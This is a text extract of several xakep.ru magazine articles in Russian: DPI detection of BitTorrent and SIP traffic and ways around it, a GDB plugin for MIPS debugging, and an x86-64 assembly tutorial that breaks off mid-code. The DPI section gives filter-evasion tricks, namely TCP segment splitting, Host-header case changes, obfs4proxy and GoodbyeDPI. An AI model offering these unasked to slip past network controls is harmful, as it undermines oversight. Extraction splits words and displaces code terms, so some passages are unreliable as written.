     ],
     [
        "http://ipv6.torrent.ubuntu.com:6969/announce"
     ]
  ],
  "comment": "Ubuntu CD releases.ubuntu.com",
  "creation date": 1550184717,
  "info": {
     "length": 1996488704,
     "name": "ubuntu‐18.04.2‐desktop‐amd64.iso",
     "piece length": 524288,
     "pieces": 0x5D 0x9D 0xCD 0x4F ... 0x29 0x24 0x57 0xF0,
  }
}

Это  пре обра зован ное  в  чита емый  вид  содер жимое фай ла  torrent  с  дис три‐ 
бути вом Ubuntu  18.04.  Самое  глав ное —  то,  что  в  нем  опи саны  тре керы —
спе циаль ные регуля торы. Обыч но это прос то сер веры HTTP, которые зна ют,
кто из дру гих учас тни ков сети готов отда вать тебе новые дан ные, а так же сле‐ 
дят за тво им прог рессом и ста тусом в сис теме.

Пер вым эта пом для ска чива ния тор рента будет зап рос пиров через HTTP
или  TCP,  который  сис темы  DPI  спо соб ны  обна ружить  либо  по  IP,  либо
по дирек тиве   в зап росе. Кро ме это го, в теле зап роса обя затель но будет
Bencode — харак терный исклю читель но для соеди нений BitTorrent.

Host

Вто рым  эта пом  идет  обмен  рукопо жати ями  с  толь ко  что  получен ными
пирами.  Для  каж дого  из  них  спе циаль но  хра нят ся  четыре  парамет ра: 

  и    —  зап рещена  ли  переда ча  дан ных  от  пира
и обратно,   и   — есть ли у пира или у меня
что‐то цен ное для переда чи.

am_choked peer_choked
am_interested peer_interested

Ру копо жатие с пирами, как и зап рос к тре керу, запол нено дан ными (иден‐ 
тифика тор кли ента, хеши фай лов и так далее) с помощью Bencode. Это поз‐ 
воля ет облегчить задачу иден тифика ции. Более того, в зависи мос ти от вер‐ 
сии  про токо ла  и  кли ента  внут ри  дан ных  может  содер жать ся  стро ка 

  (или дру гая, харак терная для кли ента), что еще боль‐ 
ше упро щает иден тифика цию.
BitTorrent protocol

Тре тий этап обще ния, а имен но обмен дан ными про исхо дит через соеди‐ 
нение  UDP.  Сооб щения  управля ют  потоком  дан ных  и  сос тояниями 
и   и, глав ное, переда ют сами дан ные. Часть этих сооб щений име‐ 
ет стро го фик сирован ную дли ну тела зап роса. Это может пос лужить зацеп кой
в иссле дова нии тра фика обо рудо вани ем DPI.

choked
interested

Эти эта пы замет ны, что поз воля ет ана лизи рующе му обо рудо ванию лег ко
обна ружи вать  и,  соот ветс твен но,  бло киро вать  и  замед лять  соеди нение.
Некото рые  про изво дите ли  обру бают  попыт ки  соеди нения  на  кор ню. Дру гие
же,  более  сме калис тые,  под делыва ют  тра фик  так,  что  для  кли ента  все  выг‐ 
лядит как обыч но, но заг рузка не идет.

VoIP
Voice over Internet Protocol — важ ней шая часть сов ремен ного обще ния. Толь‐ 
ко Skype поль зуют ся 300 мил лионов человек в месяц. При помощи этой тех‐ 
нологии совер шают ся звон ки в WhatsApp, Telegram, Viber и не толь ко.

Ко неч но, обста нов ка в отно шени ях меж ду VoIP и DPI менее нап ряжен ная,
так как нет ни стро гого рег ламен та вза имо дей ствия двух кли ентов, ни обще го
фор мата дан ных, а некото рые при ложе ния так и вов се шиф руют соеди нение.

На  помощь  ана лиза тору  при ходит  SIP  (Session  Initiation  Protocol) —  про‐ 
токол,  опи сыва ющий  то,  как  кли енты  начина ют,  регули руют  и  закан чива ют
обще ние меж ду  собой. Внут ри  опи сыва ется  нес коль ко  парамет ров,  при чем
в таком же фор мате, как и HTTP, и бла года ря это му лег ко отсле жива ется.

INVITE sip:10100@192.46.18.48 SIP/2.0
From: "User 1" <sip:10100@192.46.18.48>
To: "User 2" <sip:1201@192.42.20.22>
Call‐ID: 22a1c6b515ecee@192.46.18.48
Max‐Forwards: 10

Как  и  HTTP,  SIP  име ет  собс твен ные  трех знач ные  ста тусы,  которые  переда‐ 
ются в откры тую, и все это в ком плек те поз воля ет DPI если не с пер вого, то
со  вто рого  или  треть его  пакета  дан ных  опре делить  про токол  и  немед ленно
пред при нять необ ходимые дей ствия.

МЕТОДЫ СОПРОТИВЛЕНИЯ
В борь бе с DPI важ но обма нуть ска нер, который рас счи тан на   зап‐ 
росы. Неболь шие изме нения в струк туре зап росов помеша ют его работе.

обыч ные

Луч шим  спо собом  ввес ти  ана лиза тор  в  заб лужде ние  будет  пол ностью
зашиф ровать пакет дан ных и отпра вить его на лич ный, никому не извес тный
сер вер в интерне те, который рас шифру ет дан ные и выпол нит зап рос. Ров но
такую методо логию пред лага ет  .obfs4proxy

Из началь но при думан ный как пос редник при переда че дан ных в сети Tor,
obfs4  может  так же  работать  в  режиме  кли ента  и  сер вера,  поз воляя  прак‐ 
тичес ки любому при ложе нию перенап равить тра фик в обфусци рован ный тун‐ 
нель.  С  этим  отлично  справ ляет ся,  нап ример,  ,  соз дающий  еще  и
защищен ный шиф ровани ем канал дан ных.

OpenVPN

OpenVPN  может  так же  изоб ражать  легитим ный  тра фик  HTTPS,  который
ана лиза тор DPI соч тет самым обык новен ным.

Это го  мож но  дос тичь,  перенап равив  поток  VPN  через  порт    вмес то
стан дар тно го  , но это помога ет не всег да. Или мож но исполь зовать 

 в качес тве тун неля SSL. Тог да шиф рование SSL сде лает зап росы HTTPS
прак тичес ки  неот личимы ми  от  пакетов  дан ных  тун неля,  помогая  скры вать ся
от гроз ного ока DPI.

443
1194 stun‐

nel

Мож но  попытать ся  и  нап рямую  обма нуть  ана лиза тор  трю ками  из  мира
сег ментов  TCP.  Методи ка  раз деления  длин ных  пакетов  на  малень кие
для  умень шения  потерь  исполь зует  параметр  ,  регули‐ 
рующий  поток  дан ных  через  соеди нение.  Пред варитель ная  уста нов ка  его
в зна чение   для каж дого пакета раз делит пос ледний на два сег мента.

TCP  Window  Size

2
Пер вый:

GE

Вто рой:

T / HTTP/1.1
Host: xakep.ru

Ни один из этих пакетов не будет вос при нят как валид ное соеди нение HTTP,
и поэто му соеди нение прой дет все филь тры.

Бло киров ку по адре су сай та (по дирек тиве  ) обой дет и такой зап рос:Host

GET / HTTP/1.1
hOSt:xaKeP.RU

Что бы  не  приш лось  обфусци ровать  каж дый  пакет  вруч ную,  есть  ути лита
,  которая  дела ет  эту  работу  за  тебя.  Она  поз воля ет  подоб рать

наилуч шие ком бинации изме нений, что бы твой зап рос миновал все видя щее
око DPI.

GoodbyeDPI

INFO

Под робно  об  ути литах  для  сок рытия  сво его  тра‐ 
фика я писал в статье  «

».

Крат кий  спра воч ник  ано‐ 
нима.  Виды  шиф рования  и  защиты  тра фика,
выбор соф та

ЗАКЛЮЧЕНИЕ
Как видишь, алго рит мы ана лиза тра фика идут вро вень с тех нологи ями обхо‐ 
да. Каж дый новый шаг в раз витии слеж ки за тра фиком поль зовате лей будет
усложнять  схе му  получе ния  дос тупа  к  «чис тому»  интерне ту.  Сооб щес тво
активных  поль зовате лей  стре мит ся  сох ранить  интернет  сво бод ным  от  кон‐ 
тро ля и цен зуры, и бла года ря это му мы можем про дол жать работать в откры‐ 
той сети.

mailto:kireevmp@yandex.ru
https://ru.wikipedia.org/wiki/Magnet-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0
https://ru.wikipedia.org/wiki/Bencode
https://github.com/Yawning/obfs4
https://openvpn.net/
https://www.stunnel.org/index.html
https://github.com/ValdikSS/GoodbyeDPI
https://xakep.ru/2019/05/24/anonymize-howto/
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ТРЮКИ

Не  знаю,  как  тебе,  а  мне  час то  при ходит ся  стал кивать ся
с ревер сом и отладкой на MIPS. И как ни печаль но, но дос‐ 
той ных инс тру мен тов для это го сов сем мало, осо бен но если
срав нивать  с  дру гими  архи тек турами.  Да  чего  уж  там
говорить, если даже в HexRays до сих пор нет деком пиляции
MIPS. Поэто му луч шим решени ем для меня ста ло сконс тру‐ 
иро вать собс твен ный инс тру мент.

INFO

MIPS — мик ропро цес сорная архи тек тура, которая
была  раз работа на  в  вось мидеся тых  годах  прош‐ 
лого века сот рудни ками ком пании MIPS Computer
Systems  в  соот ветс твии  с  кон цепци ей  про екти‐ 
рова ния  про цес соров RISC  (то  есть  для  про цес‐ 
соров с упро щен ным набором команд).

В этой  статье речь  пой дет  имен но об отладке  с  помощью все ми 
  любимо го GDB. Сна чала я  хотел най ти  какое‐нибудь решение,  что бы

каж дый  раз  не  вво дить  тон ну  магичес ких  команд  типа  ,  которые
помога ют понимать то, что про исхо дит с регис тра ми, сте ком, кучей и про чим.

прок лина‐ 
емо го

x/*  $reg

ГОТОВЫЕ (ЛИ) РЕШЕНИЯ?
Я, как адек ватный человек, полез в Google в поис ках  готовых инс тру мен тов,
которые помогут облегчить мою жизнь. Вот что мне уда лось накопать.

INFO

GDB по умол чанию име ет под дер жку исполне ния
скрип тов,  через  коман ду    или  аргу мент
коман дной  стро ки  .  В  слу чае  если  GDB  был
ском пилиро ван с под дер жкой Python, появ ляет ся
так же  воз можность  исполь зовать  скрип ты
на этом язы ке.

source
‐x

PEDA
A точ нее —  . Ска чива ем и запус каем.PEDA‐MIPS

Ни каких пережи ваний о поль зовате лях

По нят но: у меня вез де сто ит Python 3, который не допус кает одновре мен ного
исполь зования  табуля ции  и  про белов  в  качес тве  раз делите лей,  а  авто ры,
видимо,  не  слы шали  о  прек ращении  под дер жки  Python  2  в  2020  году.  Ну
да лад но, испра вим это и запус тим еще разок.

Ре зуль тат работы

И вро де бы все хорошо, но хочет ся боль шего: нап ример, под дер жку  IDA Pro
или  удоб ный  вывод  сос тояния  кучи.  Раз бирать ся  ,  что бы
добавить новую фичу, не очень‐то заман чиво.

поч ти  в  7000  строк

 
 может работать с MIPS; 
 прос тота реали зации.

Плю сы:

+
+

 
 7000 строк кода в одном фай ле; 
 отсутс тву ет рас ширя емость.

Ми нусы:

‐
‐

GEF
Ска чива ем и прис тупа ем к тес тирова нию.

На  этот  раз  хотя  бы  запус кает ся  без  оши бок.  Но  стро ки  здесь  не  разыме‐ 
новы вают ся.

INFO

Ра зыме нова ние  —  тер мин,  при меня емый  к  ука‐ 
зате лям,  поз воля ет  получить  зна чение,  записан‐ 
ное в области памяти, на которую ссы лает ся ука‐ 
затель. В слу чае со стро ками очень удоб но, ког да
в резуль тате такого чте ния отладчик вмес то пос‐ 
ледова тель нос ти  0x41414141  показы вает  стро ку

.AAAA

Идем в код, что бы узнать при чину, и, перело патив  ,
видим,  что  GEF  нас толь ко  хит рый,  что  не  понима ет  бинари,  в  которых 

, а в слу чае с MIPS это прак тичес ки каж дый вто рой. Зато
GEF умет работать с   и даже импорти ровать струк туры! К сожале нию, и тут
не без косяков…

око ло 10 000 строк кода
не

опре деля ются сек ции
IDA

Не, ну вы это видели?!

Сна чала сооб щает ся,  что имя метода сос тоит из строч ных букв, а затем мы
про веря ем  его,  но  уже  на  наличие  заг лавных  букв:  естес твен но,  про вер ка
всег да будет воз вра щать ложь.

 
 может работать с MIPS; 
 изящ но выпол нена сис тема команд.

Плю сы:

+
+

 
 10 000 строк кода в одном фай ле; 
 мно го логичес ких оши бок.

Ми нусы:

‐
‐

Pwndbg
За пус каем и… сра зу разоча рова ние!

Как  выяс нилось  поз же,  гра мот ная  реали зация  отоб ражения  для  MIPS  тут
не написа на, одна ко наличие модуль ной струк туры меня порадо вало. Опре‐ 
делен ный набор команд, схо жий по наз начению, выведен в отдель ный файл
или даже каталог. Это поз воля ет лег ко ори енти ровать ся в про екте и быс тро
вно сить изме нения.

 
 модуль ная струк тура; 
  раз витая  сис тема  событий —  поч ти  к  каж дому  дей ствию  при вяза но  нес‐ 
коль ко событий.

Плю сы:

+
+

 
 ути лита слиш ком перег ружена событи ями; 
 нет глав ной цели — удобс тва дебага исполня емых фай лов для MIPS.

Ми нусы:

‐
‐

КОД ФРАНКЕНШТЕЙНА
Мож но ли сде лать отладку для MIPS кра сивой и удоб ной, взяв луч шее от всех
этих  решений?  Задав шись  этим  воп росом,  я  захотел  поп робовать  самос‐ 
тоятель но объ еди нить их во что‐то, что будет отве чать моим тре бова ниям.

INFO

GDB пре дос тавля ет хорошие API для Python. Под‐ 
робнее о них ты можешь узнать на 

.
стра нице про‐ 

екта

Струк туру про екта решил взять из pwndbg — вынес ти код в отдель ные фай лы
либо  груп пировать по  катало гам,  это  улуч шает понима ние и облегча ет  под‐ 
дер жку в будущем.

В GEF хорошо реали зова на сис тема команд — это отдель ный класс, нас‐ 
леду емый  от  ,  со  сво ими  плюш ками  в  виде  кра сивой  печати
справ ки.

gdb.Command

В PEDA  я  под смот рел,  как  прос то  реали зова ны  некото рые методы. Нап‐ 
ример,  дос таточ но  взгля нуть,  как  в  GEF  реали зова но  опре деле ние  того,
находит ся ли по ука зан ному адре су стро ка или нет, и срав нить c PEDA.

GEF
def read_ascii_string(address):
   """Read an ASCII string from memory"""
   cstr = read_cstring_from_memory(address)
   if isinstance(cstr, unicode) and cstr and all([x in string.printa
ble for x in cstr]):
       return cstr
   return None

def is_ascii_string(address):
   """Helper function to determine if the buffer pointed by 
`address` is an ASCII string (in GDB)"""
   try:
       return read_ascii_string(address) is not None
   except Exception:
       return False

...
if is_ascii_string(start):
   ustr = read_ascii_string(start)

PEDA
def examine_data(value, bits=32):
   out = self.execute_redirect("x/%sx 0x%x" % ("g" if bits == 64 
else "w", value))
   if out:
       v = out.split(":\t")[‐1].strip()
       if is_printable(int2hexstr(to_int(v), bits // 8)):
           out = self.execute_redirect("x/s 0x%x" % value)
   return out

За чем  на  такую  прос тую  опе рацию  навеши вать  обра бот чики  исклю чений
и  нес коль ко  раз  счи тывать  память,  мне  понять  не  уда лось.  Мой  вари ант
реали зации мож но най ти  .тут

А весь про ект я окрестил  ,  ты можешь ска чать его с моего GitHub
и исполь зовать в свое удо воль ствие.

pwngef

WARNING

Во  вре мя  работы  была  замече на  очень  пло хая
осо бен ность  GDB  API  для  Python,  свя зан ная
с чте нием зна чения регис тра. В некото рых ситу‐ 
ациях  API  воз вра щал  отри цатель ное  зна чение
из‐за  баналь ного  перепол нения  типа  int.  Приш‐ 
лось  закодить  это  вре мен ным  кос тылем:

,  что  поз воля ет
вос ста новить перепол ненное зна чение.
0xFFFFFFFF + reg_val + 1

Про ект сос тоит из нес коль ких фай лов и дирек торий:
 — началь ный скрипт,  который необ ходимо под гру жать в GDB

через   или  ;
• gdbinit.py

x source

 — дирек тория с «сер дцем» пла гина;• pwngef

 —  каталог  со  скрип тами, отве чающи ми  за рас крас ку  пла‐ 
гина и его сос тавля ющих;

• pwngef/color

 — каталог с обра бот чиками допол нитель ных команд,
каж дая  коман да —  это  отдель ный  класс,  нас леду емый  от 

 — базово го клас са, который содер жит фун кции обра бот ки парамет‐ 
ров для  каж дой  коман ды и реали зует при ятный фор мат вывода спра воч‐ 
ной информа ции;

• pwngef/commands

GenericCom

mand

  —  каталог  с  обра бот чиками  фун кций  в  GDB.  Пока
до кон ца не реали зова но;

• pwngef/functions

 — скрип ты, реали зующие базовые фун кции;• pwngef/*.py

 — пла гин к IDA Pro для вза имо дей ствия с GDB.• scripts

Про фит
На момент написа ния статьи пла гин под держи вает сле дующие архи тек туры:

i386;•
x86‐64;•
MIPS;•
SPARC;•
SPARC64;•
ARM;•
AArch64;•
PowerPC;•
RISC‐V.•

Да,  в  нем  еще  не  так  мно го  реали зова но,  как  у  кон курен тов,  пос коль ку  он
толь ко  про ходит  ста дию  пер вично го  раз вития.  Но  уже  сей час  мож но  опро‐ 
бовать основные фун кции.

На чать  работу  с  ним  очень  прос то,  дос таточ но  запус тить  GDB  со  сле‐ 
дующи ми парамет рами:

$ gdb ‐x ./pwngef/gdbinit.py

Или один раз про писать его в авто заг рузку и забыть:

$ echo "source ~/pwngef/gdbinit.py" >> ~/.gdbinit

Пос ле запус ка через коман ду   мы можем узнать акту аль ный спи сок
допол нитель ных команд, которые нам дос тупны.

self help

По менять парамет ры мож но, выпол нив коман ду  ;
что бы  пос мотреть  спи сок  текущих  парамет ров,  дос таточ но  выпол нить 

.

self config param value
self 

config

Сра зу  пос ле  под клю чения  к  gdbserver,  нап ример  коман дой 
, перед нами появ ляет ся текущий кон текст исполне ния.

target  remote 
host:port

Вза имо дей ствие с IDA Pro
Заг ружа ем в IDA пла гин  .ida_script.py

Ус танав лива ем адрес хос та, где работа ет IDA:

pwngef> self config ida.host '192.168.1.2'

Мы можем син хро низи ровать точ ки оста нова с IDA. Ни для кого не сек рет, что
IDA — это в основном хороший дизас сем блер, а вот как отладчик фай лов ELF
под ходит не очень. Поэто му удоб но в про цес се ревер са разоб рать весь код
в  IDA,  уста новить  там  точ ки  оста нова  и  разом  экспор тировать  их  в  GDB —
для  про вер ки  той  или  иной  теории. Все,  что  для  это го  нуж но, —  выпол нить
коман ду   в pwngef.ida bp

Вкрат це  прой дем ся  по  дру гим  полез ным  фун кци ям,  которые  уже  есть
в pwngef.

Это помога ет в динами ке уви деть, какие вет ви кода акти визи руют ся в тех
или иных ситу ациях. Для акти вации нуж но выпол нить коман ду 

.

• Трас сиров ка фун кций с зак рашива нием в  IDA базовых бло ков.

ida trace 

0xADDRESS

 Опять же, удоб но, ког да ты раз ревер сил в  IDA весь код (вос ста‐ 
новил струк туры наз вания фун кций и так далее), перенес ти этот резуль тат
для наг ляднос ти в GDB. Отладка ста новит ся при ятнее и информа тив нее.
Выпол няем коман ду  .

• Мож но  вклю чить  отоб ражение  дизас сем бли рован ного  вывода

из IDA.

self config context.use_ida True

Про исхо дит авто мати чес ки при печати сте ка или регис тров.
• Ра зыме новы вание  строк,  как  для  сте ка,  так  и  для  регис тров.

 Ну, это уже мей нстрим. Hexdump есть вез де — эта
фун кция  поз воля ет  отоб разить  рас кра шен ный  вывод  памяти  по  ука зан‐ 
ному адре су. Нуж но выпол нить коман ду  .

• Фун кция hexdump.

hexdump [address] [size]

  Еще  одна
полез ная  опция,  которой  по  умол чанию  нет  в  GDB.  Что бы  каж дый  раз
перед  вызовом  фун кции  не  вби вать  вруч ную  отоб ражение  соот ветс тву‐ 
ющих регис тров, мож но наб рать коман ду  , и это будет делать ся
авто мати чес ки.

• Отоб ражение  аргу мен тов  для  вызыва емой  фун кции.

ctx args

•
 Чаще все го GDB не видит сте ковый фрейм и не может понять,

где начина ется или закан чива ется фун кция. Мне уда лось это испра вить.

Ко ман да    или    в MIPS  теперь  не  заходит  внутрь  каж дой

фун кции.

next n

• .
Коман да —  .
До бав лена  воз можность  чте ния  кучи,  с  раз биением  на  чан ки

heap chunks [base_heap_address]

• Есть воз можность нас тро ить цве та по вку су.

В пла нах:
рас ширить воз можнос ти;•
до бавить импорт струк тур из IDA;•
до бавить воз можность запол нения сег ментов, сим волов;•
до бавить раз ные фичи для монито рин га фун кций, malloc, free, strcpy и так
далее.

•

И я всег да рад пред ложени ям по улуч шению, ком мента риям, пул‐рек вестам
и конс трук тивной кри тике!

mailto:qiqwoe@protonmail.com
https://github.com/mutepigz/peda-mips
https://github.com/mutepigz/peda-mips/blob/a9350d0ba0cea9fcfb704320b5c50d60cb76245c/peda-mips.py#L6519
https://github.com/hugsy/gef/blob/3e04e03c16ac3fa98cda0bd6b129bcd43127b98f/gef.py
https://github.com/hugsy/gef/blob/5ea35d2dde32a004e7bffa95db74a3bf6e60c1e9/gef.py#L8192
https://github.com/hugsy/gef/blob/5ea35d2dde32a004e7bffa95db74a3bf6e60c1e9/gef.py#L4838
https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html#Python-API
https://github.com/GH0st3rs/pwngef/blob/e12f74ffb9f8260fdcb56e3158fd0fe826b03e46/pwngef/chain.py#L70
https://github.com/GH0st3rs/pwngef.git
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КОДИНГ

Абс трак ция — осно ва прог рамми рова ния. Мно гие вещи мы
исполь зуем,  не  задумы ваясь  об  их  внут реннем  устрой стве,
и они отлично работа ют. Всем извес тно,  что поль зователь‐ 
ские прог раммы вза имо дей ству ют с ядром через сис темные
вызовы, но задумы вал ся ли ты, как это про исхо дит на тво ей
машине?

Вспом ним сиг натуру фун кции   в C:main

int main(int argc, char** argv)

От куда  берут ся  чис ло  аргу мен тов  ( )  и  мас сив  ука зате лей  на  их  стро ки
( )? Как воз вра щаемое зна чение   ста новит ся кодом воз вра та самой
прог раммы?

argc
argv main

Крат кий  ответ:  зависит  от  архи тек туры  про цес сора.  К  сожале нию,  дос‐ 
тупных  для  начина ющих  матери алов  по  самой  рас простра нен ной  сей час
архи тек туре x86‐64 не так мно го, и инте ресу ющиеся нович ки вынуж дены сна‐ 
чала  обра щать ся  к  ста рой  литера туре  по  32‐бит ным  x86,  которая  сле дует
дру гим сог лашени ям.

Поп робу ем  испра вить  этот  про бел  и  про демонс три ровать  пря мое  вза‐ 
имо дей ствие с машиной и ядром Linux сра зу в 64‐бит ном режиме.

ДЕМОНСТРАЦИОННАЯ ЗАДАЧА
Для  демонс тра ции  мы  напишем  рас ширен ную  вер сию  hello  world,  которая
может  при ветс тво вать  любое  количес тво  объ ектов  или  людей,  чьи  име на
переда ются в аргу мен тах коман ды.

$ ./hello Dennis Brian Ken
Hello Dennis!
Hello Brian!
Hello Ken!

СРЕДА РАЗРАБОТКИ
Для демонс тра ции мы будем исполь зовать Linux и GNU toolchain (GCC и binu‐
tils), как самые рас простра нен ные ОС и сре да раз работ ки. Писать мы будем
на язы ке ассем бле ра, потому что про демонс три ровать низ коуров невое вза‐ 
имо дей ствие с ОС из язы ка сколь ко‐нибудь высоко го уров ня невоз можно.

ОЧЕНЬ КРАТКАЯ СПРАВКА
Что бы  упростить  чте ние  статьи  тем,  кто  вооб ще  никог да  не  стал кивал ся
с ассем бле ром x86, я исполь зовал толь ко самые прос тые инс трук ции и пос‐ 
тарал ся  анно тиро вать  их  псев докодом  вез де,  где  воз можно.  Я  исполь зую
син таксис  AT&T,  который  все  инс тру мен ты  GNU  исполь зуют  по  умол чанию.
Нуж но пом нить, что регис тры пишут ся с пре фик сом   (нап ример,  ), а кон‐ 
стан ты — c пре фик сом  . Нап ример,  ,  ,   — зна чение сим вола

.

% %rax
$ $255 $0xFF $foo

foo
Син таксис  ука зате лей:  .  Очень

крат кая справ ка:
смещение(база,  индекс,  множитель)

  —  копиру ет  зна чение  из  источни ка
(регис тра или адре са) в при емник;

• mov  <источник>,  <приемник>

 — добав ляет зна чение из источни ка на стек;• push <источник>

 — уда ляет зна чение из сте ка и копиру ет в при емник;• pop <приемник>

 —  вызыва ет  фун кцию  по  ука зан ному
адре су;

• call <указатель на функцию>

 — воз врат из фун кции;• ret

 — безус ловный переход по адре су (мет ке);• jmp <адрес>

 и   — инкре мент и дек ремент;• inc dec

 — срав нение и уста нов ка фла гов (нап‐ 
ример, равенс тво);

• cmp <значение1> <значение2>

 — переход на мет ку в слу чае, если аргу мен ты   ока зались
рав ными.

• je <метка> cmp

Ус ловные  перехо ды  и  цик лы  реали зуют ся  через  инс трук ции  срав нения
и  условные  перехо ды.  Инс трук ции  срав нения  уста нав лива ют  опре делен ные
раз ряды в регис тре фла гов, коман да условно го перехо да про веря ет их и при‐ 
нима ет  решение,  перехо дить  или  нет.  Нап ример,  сле дующий  цикл  уве личи‐ 
вает зна чение регис тра  , пока оно не ста нет рав ным 10, а затем копиру ет
его в  .

%rax
%rbx

Для  изу чения  ассем бле ра  x86  я  могу  посове товать  кни гу 
 — к сожале нию, ори енти рован ную на 32‐бит ную архи тек‐ 

туру, но очень хорошо написан ную и под ходящую нович кам.

Programming
From the Ground Up

mov $0, %rax # rax = 0

my_loop:
 inc %rax
 cmp $10, %rax
 jne my_loop # Jump if Not Equal

mov %rax, %rbx # %rbx = 10

О  регис трах:  в  x86‐64  их  куда  боль ше.  Кро ме  тра дици онных,  добав лены
регис тры  от    до  ,  все го  шес тнад цать  64‐бит ных  регис тров.  Что бы
обра тить ся к ниж ним бай там новых регис тров, нуж но исполь зовать суф фиксы
,  , или  . То есть   — ниж ние четыре бай та,   — ниж ние два бай та,

 — ниж ний байт.

%r8 %r15

d w b %r10d %r10w
%r10b

Что вхо дит в сог лашения ABI?
SystemV  ABI,  которой  в  боль шей  или  мень шей  сте пени  сле дуют  поч ти  все
UNIX‐подоб ные  сис темы,  сос тоит  из  двух  час тей.  Пер вая  часть,  общая
для всех сис тем, опи сыва ет фор мат исполня емых фай лов ELF. Ее мож но най‐ 
ти на  .сай те SCO

К  общей  час ти  при лага ются  архи тек турно  зависи мые  допол нения.  Они
опи сыва ют:

сог лашение о сис темных вызовах;•
сог лашение о вызовах фун кций;•
ор ганиза цию памяти про цес сов;•
заг рузку и динами чес кое свя зыва ние прог рамм.•

ФОРМАТ ELF
Знать  фор мат  ELF  в  деталях,  осо бен но  его  дво ичную  реали зацию,  нуж но
толь ко  авто рам  ассем бле ров  и  ком понов щиков.  Эти  задачи  мы  в  статье
не рас смат рива ем. Тем не менее поль зовате лю сле дует понимать орга низа‐ 
цию фор мата.

Фай лы  ELF  сос тоят  из  нес коль ких  сек ций.  Ком пилято ры  при нима ют
решение  о  раз мещении  дан ных  по  сек циям  авто мати чес ки,  но  ассем бле ры
оставля ют  это  на  челове ка  или  ком пилятор.  Пол ный  спи сок  мож но  най ти
в раз деле  . Вот самые рас простра нен ные:Special Sections

 — основной исполня емый код прог раммы;• .text

 — дан ные толь ко для чте ния (кон стан ты);• .rodata

 — дан ные для чте ния и записи (ини циали зиро ван ные перемен ные);• .data

 — неини циали зиро ван ные перемен ные извес тно го раз мера.• .bss

СОГЛАШЕНИЯ О ВЫЗОВАХ
Сог лашение о вызовах — важ ная часть ABI, которая поз воля ет поль зователь‐ 
ским  прог раммам  вза имо дей ство вать  с  ядром,  а  прог раммам  и  биб лиоте‐ 
кам — друг с дру гом. В сог лашении ука зыва ется, как переда ются аргу мен ты
(в регис трах или на сте ке),  какие имен но регис тры исполь зуют ся и  где  хра‐ 
нит ся  резуль тат.  Кро ме  того,  ого вари вает ся,  какие  регис тры  вызыва емая
фун кция обя зует ся сох ранить нет ронуты ми (callee‐saved), а какие может сво‐ 
бод но переза писать (caller‐saved).

Сог лашение о сис темных вызовах
Сис темные  вызовы  выпол няют ся  с  помощью  инс трук ции  про цес сора

.syscall

INFO

На  ста рых  32‐раз рядных  x86  исполь зовалось
прог рам мное  пре рыва ние  ,  которое
и  поныне  исполь зует ся  в  32‐раз рядном  коде.
Инс трук ция    из  x86‐64  переда ет
управле ние нап рямую в точ ку вхо да в прос транс‐ 
тве ядра, без нак ладных рас ходов на вызов обра‐ 
бот чика пре рыва ния.

0x80

syscall

Че рез регис тры в ядро переда ется номер сис темно го вызова и его аргу мен‐ 
ты. Сог лашение для Linux опи сано в параг рафе  .A.2.1

Но мер вызова переда ется в регис тре  .• %rax

Мож но  переда вать  до шес ти  аргу мен тов  в  регис трах  ,  ,  ,
,  ,  .

• %rdi %rsi %rdx

%r10 %r9 %r8

Ре зуль тат воз вра щает ся в регис тре  .• %rax

От рицатель ный резуль тат озна чает, что это номер ошиб ки (errno).•
Ре гис тры   и   дол жны быть сох ранены поль зовате лем.• %rcx %r11

Но мера  сис темных  вызовов  зависят  от  ОС  и  архи тек туры.  В  Linux  номера
вызовов для  x86‐64 мож но най ти в  заголов ках  ядра. На  уста нов ленной сис‐ 
теме  он  обыч но  находит ся  в  .  Для  наших
целей  пот ребу ются  все го  два  сис темных  вызова:    (номер  1)  и 
(номер 60).

/usr/include/asm/unistd_64.h
write exit

На пишем  прос тей шую  прог рамму,  которая  кор рек тно  завер шает ся
с кодом воз вра та 0 — ана лог  ./bin/true

.file "true.s"

.section .text

_start:
   # syscall(number=60/exit, arg0=0)
   mov $60, %rax
   mov $0, %rdi
   syscall
.global _start

Код  прог раммы  мы  помеща ем  в  сек цию    как  говорит  дирек тива 
 Мет ка   — сог лашение ком понов щика  , имен но там

он ожи дает най ти точ ку вхо да прог раммы. Дирек тива   дела ет
сим вол   видимым для ком понов щика.

,.text
..section .text _start ld

.global _start
_start

Со берем и запус тим прог рамму:

$ as ‐o true.o ./true.s  && ld ‐nostdlib ‐o true ./true.o
$ ./true && echo Success
Success

Сог лашение о вызовах фун кций
Сог лашение о вызовах фун кций похоже на сог лашение о сис темных вызовах.
Детали мож но най ти в раз деле  . Мы будем работать толь ко с целыми чис‐ 
лами и ука зате лями, поэто му наши зна чения мож но отнести к клас су  .

3.2
INTEGER

К нашему слу чаю отно сят ся сле дующие сог лашения:
до  шес ти  аргу мен тов  мож но  передать  в  регис трах  ,  ,  ,

,  ,  ;
• %rdi %rsi %rdx

%rcx %r8 %r9

воз вра щаемое зна чение нуж но помес тить в регистр  ;• %rax

вы зыва емая фун кция обя зана сох ранить зна чения регис тров  ,  ,
.

• %rbx %rbp

%r12–15

ПИШЕМ СТАНДАРТНУЮ БИБЛИОТЕКУ
Поль зуясь  эти ми  зна ниями,  мы  можем  написать  неболь шую  стан дар тную
биб лиоте ку.  Преж де  все го  нам  понадо бит ся фун кция  ,  что бы  выводить
стро ки на стан дар тный вывод. Сис темный вызов   сде лает за нас поч ти
всю  работу.  Единс твен ная  слож ность  в  том,  что  он  тре бует  дли ну  стро ки
в  качес тве  аргу мен та.  Его  условная  сиг натура — 

.  Поэто му  нам  пот ребу ется  фун кция
.

puts
write

write(file_descriptor, 
string_pointer,  string_length)
strlen

Сна чала при ведем код биб лиоте ки, а потом раз берем ее фун кции.

.file "stdlib.s"

.section .text

.macro save_registers
   push %rbx
   push %rbp
   push %r12
   push %r13
   push %r14
   push %r15
.endm

.macro restore_registers
   pop %r15
   pop %r14
   pop %r13
   pop %r12
   pop %rbp
   pop %rbx
.endm

.macro write filedescr bufptr length
   mov $1, %rax
   mov \filedescr, %rdi
   mov \bufptr, %rsi
   mov \length, %rdx
   syscall
.endm

# strlen(char* buf)
asm_strlen:
   save_registers

   # r12 — индекс символа в строке
   mov $0, %r12 # index = 0

   strlen_loop:
       # r13b = buf[r12]
       mov (%rdi, %r12, 1), %r13b

       # if(r13b == 0) goto strlen_return
       cmp $0, %r13b
       je strlen_return

       inc %r12 # index++
       jmp strlen_loop

   strlen_return:
       # return index
       mov %r12, %rax
